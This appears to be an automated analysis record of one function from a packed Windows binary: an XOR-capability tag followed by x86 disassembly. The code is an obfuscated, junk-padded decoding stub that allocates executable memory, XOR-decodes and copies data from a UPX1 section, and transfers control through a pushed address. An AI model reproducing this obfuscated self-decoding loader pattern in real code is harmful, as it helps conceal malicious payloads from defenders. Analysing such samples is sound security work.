Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xff826c60
or eax, eax
dec edx
popal
dec eax
and edx, edx
add eax, edx
mov eax, 0
mov ecx, edi
add esi, esi
or esi, esi
mov edx, ecx
dec esi
sub esi, 0xe59086d3
inc esi
mov edi, edx
not esi
and ebx, ebx
inc eax
not ebx
sub esi, 0x6344816
cmp eax, 0x1000cec
jne 0xa789c0
not ebx
add esi, ebx
add ebx, 0x49155a46
mov eax, edx
and edx, eax
sub edx, 0xcf9c8773
mov ecx, 0xa78796
sub edi, edx
or edi, edx
or edi, edx
mov eax, 0xa7898a
sub edi, 0x24fdfdd1
inc edi
sub esi, edx
mov ebx, dword [ecx]
add edi, 0xea95f868
or edx, esi
and ebx, 0xff
not edi
sub esi, 0xc84b46ed
xor dword [eax], ebx
add edx, 0x8030c19d
sub edx, 0x571c2ed1
inc eax
add esi, 0xdf12e8db
not edi
mov edx, esi
inc ecx
not esi
sub esi, edx
add edx, 1
cmp eax, entry0
jl 0xa78a18
inc edx
mov esi, 0x87753cdd
not esi
dec edx
and edi, esi
mov edx, ecx
or edx, edx
mov ecx, 0x3a239a3a
mov ebx, 0xa7898e
mov edx, 0x6b2c327d
sub edi, edx
mov ebx, dword [ebx]
add edx, 0xc08696e3
and esi, ecx
mov ebx, dword [ebx]
mov edi, 0x7d72fd
add esi, edx
add esi, edx
push ebx
sub edi, esi
sub esi, edx
mov ebx, 0xa7898a
and edi, edi
inc edx
mov ebx, dword [ebx]
and ecx, ecx
not ecx
add edx, 0xe5faa9a
mov ebx, dword [ebx]
or edx, edi
mov edi, 0x29af4561
sub edi, ecx
sub esp, 4
mov dword [esp], 0xa78992
mov ecx, 0xccc66e06
mov edx, ecx
mov edx, 0xe72a7a95
call ebx
sub esi, 0x2efdd543
and ecx, edi
mov ebx, dword [esp]
add esp, 4
and edx, edi
sub ecx, edi
push 0xa7899f
add ecx, esi
add edx, esi
add edi, edi
sub esp, 4
mov dword [esp], eax
sub ecx, 0x996a7850
mov esi, edx
or ecx, esi
call ebx
sub esi, 0xe5bfcdcf
inc edi
push 0x40
and edx, esi
add edi, 0x315def9a
push 0x3000
mov esi, ecx
or ecx, ecx
push 0x20000b8c
mov edi, 0xec210838
sub edx, ecx
add edx, esi
push 0
inc edx
not ecx
call eax
add edi, 0x5811286
sub esi, ecx
add eax, 0x20000b0e
mov esi, edx
add edi, esi
mov ebx, 0xe7270d45
inc esi
mov esi, 0x264f4eb7
mov dword [eax], ebx
add esi, 0x5da4ee6c
add edx, edx
or esi, esi
mov ebx, dword [eax]
not edi
inc esi
cmp ebx, 0xe7270d45
je 0xa78b72
mov ecx, 0
mov dword [ecx], eax
not ecx
dec edx
sub edx, 0x806696a7
inc esi
add edx, 0xc1f98131
sub edx, 1
mov ecx, section.UPX1
not eax
and edx, edx
mov ebx, 0xa78795
sub eax, 0xf89e1acc
mov eax, edx
sub edx, 0x9e6440de
mov esi, 0
sub edx, eax
sub eax, edx
mov edi, 0xa78796
and eax, edx
mov eax, edx
and edx, edx
lea edi, [esi + edi]
add edx, 0x84440218
or eax, edx
mov edi, dword [edi]
sub edx, eax
add edx, edx
and edi, 0xff
inc edx
add edx, 0xdd389a5e
sub edx, 0xd272562b
inc esi
add eax, 0x25911748
add eax, 0xc107d52d
inc edx
cmp esi, 0x1f4
jne 0xa78bf7
mov esi, 0
add edx, edx
inc edx
mov eax, 0xf79a93d0
add edx, eax
sub eax, 0x8be1721
add eax, 0xdb4a8103
xor dword [ecx], edi
add eax, 0x9ebfaa46
mov edx, eax
add eax, 0xd5305bcf
add ecx, 2
dec edx
not edx
cmp ecx, ebx
jl 0xa78bad
add eax, 0x5512b035
add eax, 0x8da3eb1c
mov edx, 0xf23fbc18
mov eax, 0x856cf50f
sub eax, 1
mov edx, eax
mov edi, section.UPX1
sub edx, 0xca441772
and ebx, edx
mov ecx, section.UPX1
dec edx
dec edx
mov esi, 0xa78795
dec ebx
and edx, edx
add edx, 0xd30c51d0
mov eax, 0
sub edx, ebx
sub ebx, edx
mov al, byte [ecx]
not ebx
add ebx, edx
add ebx, ebx
mov byte [edi], al
mov ebx, 0x679530dd
sub ebx, 0x94357e99
add edi, 1
dec edx
not edx
add edx, edx
add ecx, 2
and ebx, edx
and edx, ebx
not ebx
cmp ecx, esi
jle 0xa78c77
mov ebx, edx
dec edx
add ebx, edx
or eax, edx
add edx, edx
push 0x8dc6a0
mov edx, 0x54fba1f
sub eax, 0x5b9617dd
ret